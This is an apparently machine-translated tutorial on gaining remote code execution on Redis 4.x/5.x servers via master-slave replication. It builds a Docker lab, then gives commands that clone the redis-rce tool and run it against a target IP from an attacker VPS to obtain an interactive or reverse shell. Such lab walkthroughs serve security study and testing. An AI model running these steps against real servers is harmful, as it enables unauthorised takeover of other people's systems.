Shulou(Shulou.com)06/01 Report--

This article mainly explains "Redis based on master-slave replication of RCE 4.x/5.x how to achieve", the article explains the content is simple and clear, easy to learn and understand, the following please follow the editor's ideas slowly in-depth, together to study and learn "Redis based on master-slave replication of RCE 4.x/5.x how to achieve" it!

First pull a 5.0 image

Docker search redis5.0 / / find the image docker pull damonevking/redis5.0 / / pull the third image in the following figure

0x02 operating environment

Run the container

Docker run-p 6379 6379-d damonevking/redis5.0 redis-server / / maps the port and runs the container

Access your ip+6379 port, as shown in the following figure.

0x03 exploit git clone https://github.com/Ridter/redis-rce.git / / download vulnerability exploit script

Note that a .so file is missing here, download it to https://github.com/n0b0dyCN/redis-rogue-server and put it in the same directory as redis-rce.py, and then execute the following command:

Python3 redis-rce.py-r 136.244.70.243 (target ip)-L 136.244.70.243 (own vps)-f exp.so / / ip don't code, masters, don't mess with me.

It should be noted that the-r here is followed by the target's ip, and-L is followed by the ip of the vps where you execute the script.

Here: I for interactive shell,r, for bounce shell, just choose according to your own needs

Thank you for your reading, the above is the content of "how to achieve Redis based on master-slave replication of RCE 4.x/5.x". After the study of this article, I believe you have a deeper understanding of how to achieve Redis based on master-slave replication of RCE 4.x/5.x, and the specific use needs to be verified in practice. Here is, the editor will push for you more related knowledge points of the article, welcome to follow!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.